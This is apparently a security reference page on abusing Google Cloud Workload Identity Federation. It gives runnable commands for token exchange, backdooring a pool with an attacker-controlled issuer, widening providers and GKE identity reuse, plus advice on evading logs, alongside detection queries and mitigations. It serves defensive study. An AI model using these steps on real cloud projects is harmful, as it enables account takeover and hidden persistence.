How it works
Workload Identity Federation lets a workload outside Google Cloud call Google APIs without a service account key. The workload presents a token from its own identity provider (a GitHub Actions OIDC token, an AWS or Azure credential, a Kubernetes service account token, a SAML assertion) to the Security Token Service. A workload identity pool provider checks the issuer, audience and signature, evaluates an optional attribute condition, and maps claims to Google attributes through attributeMapping. The result is a short-lived federated token.
That first exchange only authenticates the external workload identity. Authorization comes from IAM bindings that name pool principals, in two shapes:
- Direct resource access: a role is bound to the federated principal on the target resource.
- Service account impersonation: the federated principal holds
roles/iam.workloadIdentityUser(or a Token Creator role) on a service account, and exchanges the federated token for the service account's access token at the IAM Credentials API. See service account impersonation.
The binding names either one subject or a set:
principal://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/subject/SUBJECT
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/attribute.NAME/VALUE
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/group/GROUP
principalSet://iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/*
The trust decision is therefore split between the provider (who is admitted to the pool, and under which subject and attributes) and the binding (which pool identities get access). The attack surface is every place where one of them is wider than the owner believes:
- Missing attribute condition on a multi-tenant issuer. GitHub uses one issuer URL,
https://token.actions.githubusercontent.com, for every organization. Without an attribute condition that restricts tokens to your organization, the provider accepts tokens from workflows in any GitHub repository. - Over-broad
principalSet. A binding for the whole pool (/*), or for an attribute that many workloads share or that the issuer's users can set, covers a population the issuer controls. - Attacker provider added to a pool. The principal namespace belongs to the pool, not to the provider. A second provider in the same pool, backed by an issuer the attacker controls, can mint the same mapped subject that an existing binding trusts.
- Provider edit. Changing the issuer, the allowed audiences, the mapping or the attribute condition changes who qualifies while the provider name and every IAM binding stay the same.
- GitHub Actions as issuer. A compromised workflow in a trusted repository, for example through a pwn request or script injection, obtains tokens the provider accepts as legitimate.
- Workload Identity Federation for GKE. Each project has one fixed pool,
PROJECT_ID.svc.id.goog, and a Kubernetes service account is identified by namespace and name only. Workloads with the same namespace and service account name in different clusters of the project are the same principal.
Prerequisites
For abuse of an existing trust:
- A token from an issuer the provider trusts. With GitHub and no organization condition, a workflow in any repository the attacker owns is enough. With a correct condition, the attacker needs code execution in a workflow of a trusted repository.
- The provider's full resource name (project number, pool id, provider id) and, for impersonation, the service account email. These appear in workflow files and credential configuration files, which are often public.
- A binding that the attacker's mapped subject or attributes match.
For the backdoor variant:
- Rights to create or update workload identity pool providers in the pool project. Google names the permission
iam.googleapis.com/workloadIdentityPoolProviders.updateand notes that Owner and IAM Workload Identity Pool Admin hold it. - An OIDC issuer the attacker controls, and knowledge of a subject or attribute that existing bindings trust.
For the GKE variant: the ability to create a namespace and service account, and run a Pod, in any cluster of the project that shares the pool.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Enumerate pools, providers and bindings
gcloud iam workload-identity-pools list --location=global --project=example-project
gcloud iam workload-identity-pools providers list \
--workload-identity-pool=ci-pool --location=global --project=example-project
gcloud iam workload-identity-pools providers describe github \
--workload-identity-pool=ci-pool --location=global --project=example-project
# Bindings anywhere in the organization that name a workload identity pool principal
gcloud asset search-all-iam-policies \
--scope='organizations/123456789012' \
--query='policy:workloadIdentityPools'
In the provider output, read oidc.issuerUri, oidc.allowedAudiences, attributeMapping and attributeCondition. An empty attributeCondition on a GitHub provider and a binding member ending in /* are the two findings that matter most.
2. Use a GitHub provider that has no organization condition
A workflow in the attacker's own repository authenticates through the victim's provider:
name: federate
on: workflow_dispatch
permissions:
id-token: write
contents: read
jobs:
auth:
runs-on: ubuntu-latest
steps:
- id: auth
uses: google-github-actions/auth@v1
with:
create_credentials_file: true
workload_identity_provider: projects/123456789012/locations/global/workloadIdentityPools/ci-pool/providers/github
service_account: svc-deploy@example-project.iam.gserviceaccount.com
- run: gcloud projects list
Omit service_account when the binding grants direct resource access. Whether the token is useful depends on the binding: a whole-pool principalSet matches at once, and a binding on attribute.repository or a specific subject does not match another repository.
3. Exchange a token by hand
The same exchange works from any shell that holds a subject token. Inside a GitHub Actions job the token is requested with the audience the provider expects (by default the provider's resource name with the https://iam.googleapis.com/ prefix):
PROVIDER='projects/123456789012/locations/global/workloadIdentityPools/ci-pool/providers/github'
SUBJECT_TOKEN=$(curl -s -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://iam.googleapis.com/$PROVIDER" | jq -r .value)
# Security Token Service: external token in, federated token out
FEDERATED_TOKEN=$(curl -s -X POST https://sts.googleapis.com/v1/token \
-H 'Content-Type: application/json' \
-d "{
\"grantType\": \"urn:ietf:params:oauth:grant-type:token-exchange\",
\"audience\": \"//iam.googleapis.com/$PROVIDER\",
\"scope\": \"https://www.googleapis.com/auth/cloud-platform\",
\"requestedTokenType\": \"urn:ietf:params:oauth:token-type:access_token\",
\"subjectToken\": \"$SUBJECT_TOKEN\",
\"subjectTokenType\": \"urn:ietf:params:oauth:token-type:jwt\"
}" | jq -r .access_token)
# Optional second step: impersonate the service account
curl -s -X POST \
"https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/svc-deploy@example-project.iam.gserviceaccount.com:generateAccessToken" \
-H "Authorization: Bearer $FEDERATED_TOKEN" -H 'Content-Type: application/json' \
-d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"]}'
With a token saved in a file, gcloud can do the exchange through a credential configuration:
gcloud iam workload-identity-pools create-cred-config \
projects/123456789012/locations/global/workloadIdentityPools/ci-pool/providers/github \
--service-account=svc-deploy@example-project.iam.gserviceaccount.com \
--credential-source-file=token.jwt \
--output-file=cred-config.json
gcloud auth login --cred-file=cred-config.json
4. Add a provider to an existing pool (backdoor)
With provider administration rights, the attacker adds an issuer of their own to a pool that bindings already trust:
gcloud iam workload-identity-pools providers create-oidc build-cache \
--location=global --workload-identity-pool=ci-pool --project=example-project \
--issuer-uri='https://idp.attacker.example' \
--attribute-mapping='google.subject=assertion.sub'
The attacker's issuer then signs a token whose sub equals a subject that an existing binding names, for example repo:corp-example/app:ref:refs/heads/main, and the exchange from step 3 returns a federated token for that principal. --jwk-json-path uploads the public keys from a local file instead of having Google fetch them from the issuer.
5. Widen an existing provider
gcloud iam workload-identity-pools providers update-oidc github \
--location=global --workload-identity-pool=ci-pool --project=example-project \
--attribute-condition="assertion.repository_owner=='corp-example' || assertion.repository_owner=='attacker-org'"
The provider keeps its name, and no IAM policy changes. Editing --attribute-mapping (for example mapping google.subject from a claim the attacker can choose) or --issuer-uri has the same effect.
A related move that needs policy rights instead of provider rights is to add a binding for a pool principal, as in setIamPolicy privilege escalation.
6. GKE: claim an identity by name
In a cluster that shares the project's pool, create the namespace and service account that a binding trusts and run a Pod as it:
kubectl create namespace reports
kubectl create serviceaccount reader --namespace reports
kubectl run probe --namespace reports --image=google/cloud-sdk:slim \
--overrides='{"spec":{"serviceAccountName":"reader"}}' -- sleep infinity
kubectl exec --namespace reports probe -- gcloud auth print-access-token
The GKE metadata server exchanges the Pod's Kubernetes service account token for a federated token of the principal .../workloadIdentityPools/example-project.svc.id.goog/subject/ns/reports/sa/reader. If that service account is annotated with iam.gke.io/gcp-service-account and holds roles/iam.workloadIdentityUser on an IAM service account, the token is the service account's.
Impact
The attacker acts in Google Cloud as the federated principal or as the service account behind it, with whatever roles those hold. Deployment pipelines are the usual users of federation, so the service account is often able to deploy code, change infrastructure and read secrets, which makes this a route to control of a project and to lateral movement into other projects.
As persistence it is stronger than a service account key. Nothing is stored in Google Cloud that can be listed as a credential; the attacker's own issuer mints a fresh token whenever access is needed, and the trust survives password resets, key rotation and the removal of user accounts.
The same exchange pattern applies to newer credential brokers. For agent identities, a successful RetrieveCredentials call on agentidentitycredentials.googleapis.com shows a credential being handed to an agent through an auth provider, and it is a Data Access event.
OPSEC and artifacts
- Using an existing trust instead of changing one. Abuse of a missing condition or a broad
principalSetneeds no administrative write, so nothing lands in the Admin Activity log. The exchange (google.identity.sts.v1.SecurityTokenService.ExchangeToken) and the impersonation (GenerateAccessToken) are Data Access events, recorded only where Data Access logging is enabled for the Security Token Service and IAM APIs. - Client-side failures are not logged. Google does not log exchange attempts that fail on invalid credentials or arguments, so probing a provider with tokens it rejects is quiet.
- Direct access avoids the impersonation record. With a direct binding there is no
GenerateAccessTokenentry. The target service's audit entry carries the pool principal inauthenticationInfo.principalSubject. - Impersonation hides behind the service account. The target service records the service account in
principalEmail. The federated caller appears inserviceAccountDelegationInfowhere the service populates it; Google notes that some services, including GKE and App Engine, do not record the identity that created the short-lived credential. - Provider changes are always logged.
CreateWorkloadIdentityPoolProviderandUpdateWorkloadIdentityPoolProviderare Admin Activity events (withv1andv1betamethod names) and long-running operations, usually with one entry at the start and one at the end. An operator chooses a bland provider id and display name; the issuer URI, mapping and condition are in the stored provider for anyone who reads it. - Reverting an edit. A condition that is widened and later restored leaves the current configuration clean. Both updates remain in the log, and tokens issued in between stay valid until they expire.
- GKE name reuse. The namespace and service account creation are in the cluster's Kubernetes audit log, not in IAM. In Google Cloud the principal looks identical to the legitimate workload.
Detection
Three layers, with different coverage:
1. Trust configuration (always logged). The workload identity pool or provider created rules cover pool and provider creation, updates and undeletes:
log_id("cloudaudit.googleapis.com/activity")
protoPayload.serviceName="iam.googleapis.com"
protoPayload.methodName =~ "^google[.]iam[.]v1(beta)?[.]WorkloadIdentityPools[.](Create|Update)WorkloadIdentityPoolProvider$"
Compare the provider after each change with an approved baseline: issuer URI, allowed audiences, attribute mapping, attribute condition, disabled state. A new provider in a pool that bindings already reference, and any change that removes or loosens a condition, deserve an immediate review.
2. Bindings for pool principals. The external principal granted access and impersonation rights granted rules flag SetIamPolicy calls that add workloadIdentityPools members, on resources or on service accounts. Members ending in /* are the ones to question. Changes to the pool's own allow policy are covered by the WorkloadIdentityPools SetIamPolicy source.
3. Exchange and use (Data Access, must be enabled).
log_id("cloudaudit.googleapis.com/data_access")
((protoPayload.serviceName="sts.googleapis.com" AND
protoPayload.methodName="google.identity.sts.v1.SecurityTokenService.ExchangeToken") OR
(protoPayload.serviceName="iamcredentials.googleapis.com" AND
protoPayload.methodName="GenerateAccessToken"))
In the exchange entry, protoPayload.resourceName is the provider, authenticationInfo.principalSubject is the subject from the external token and metadata.mapped_principal is the resulting principal:// identifier. In the GenerateAccessToken entry, principalSubject is the federated principal and the request names the service account. Alert on a provider or subject that has not been seen before for a given service account, on GitHub subjects from repositories or organizations outside your own, and on exchanges through a provider created in the last days. The service account impersonation rules read the same issuance events.
A successful exchange proves only that a federated token was issued. Use of it has to be found in the target service's own audit log.
Mitigation
The Workload Identity Federation step-by-step guide walks through a secure setup. The controls that close the variants above:
- Always set an attribute condition for multi-tenant issuers. For GitHub, restrict the organization at least, and prefer the numeric
repository_owner_idandrepository_idclaims over names, which can be squatted. Narrow further by repository and ref where the pipeline allows. - Bind specific principals. Grant roles and
roles/iam.workloadIdentityUserto aprincipal://subject or a tight attribute, never to the whole pool. - Map immutable, non-reusable attributes to
google.subject, and make the mapping unique so that one external identity is one subject. - One provider per pool, and do not federate with the same identity provider twice. This removes subject collisions between providers.
- Keep pools in a dedicated project and apply the organization policy constraint
constraints/iam.workloadIdentityPoolProvidersto limit which issuers can be configured anywhere else.constraints/iam.workloadIdentityPoolAwsAccountsdoes the same for AWS accounts. - Restrict who can create and update providers. Treat IAM Workload Identity Pool Admin and Owner on the pool project as privileged.
- For GKE, trust every cluster that shares a project's pool or put clusters with different trust levels in separate projects, and limit who can deploy as a Kubernetes service account that has IAM access.
- Enable Data Access audit logs for the Security Token Service and IAM APIs in every project that holds pools or federated service accounts.
- Contain in the right order. Disabling a provider blocks new exchanges only. Remove the bindings, then review activity for the lifetime of tokens already issued, and fix the identity on the issuer side as well.
Detection rules for this attack
Log events to collect
FAQ
What makes a workload identity pool provider exploitable?
Three things, usually in combination: a multi-tenant issuer such as GitHub with no attribute condition that restricts tokens to your organization, an IAM binding for a principalSet that covers the whole pool or a broad attribute, and several providers in one pool whose mapped subjects can collide. Each one lets an identity you did not intend match a binding.
Does Workload Identity Federation abuse leave a service account key behind?
No. The attacker exchanges an external token at the Security Token Service for a short-lived federated token and can repeat that whenever needed. There is no key to list, expire or rotate, which is why a rogue provider or an over-broad binding works well as persistence.
How do you detect abuse of Workload Identity Federation?
Provider and pool changes are always written to the Admin Activity audit log. The token exchange and the service account impersonation are Data Access events that must be enabled for the Security Token Service and IAM APIs. With them on, compare the provider in resourceName and the subject in metadata.mapped_principal with the workloads you expect.
Does disabling a provider revoke the access it already issued?
No. Disabling or deleting a provider stops new token exchanges through it, but tokens that were already issued keep working until they expire. During containment, also remove the IAM bindings the federated principals matched and review activity through the lifetime of the issued tokens.
References
- Valid Accounts: Cloud Accounts, T1078.004 (MITRE ATT&CK)
- Domain or Tenant Policy Modification: Trust Modification, T1484.002 (MITRE ATT&CK)
- Workload Identity Federation (Google Cloud)
- Best practices for using Workload Identity Federation (Google Cloud)
- Configure Workload Identity Federation with deployment pipelines (Google Cloud)
- Example logs for Workload Identity Federation (Google Cloud)
- Workload Identity Federation for GKE (Google Cloud)
- OpenID Connect reference for GitHub Actions (GitHub Docs)
- Method: token, Security Token Service API (Google Cloud)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.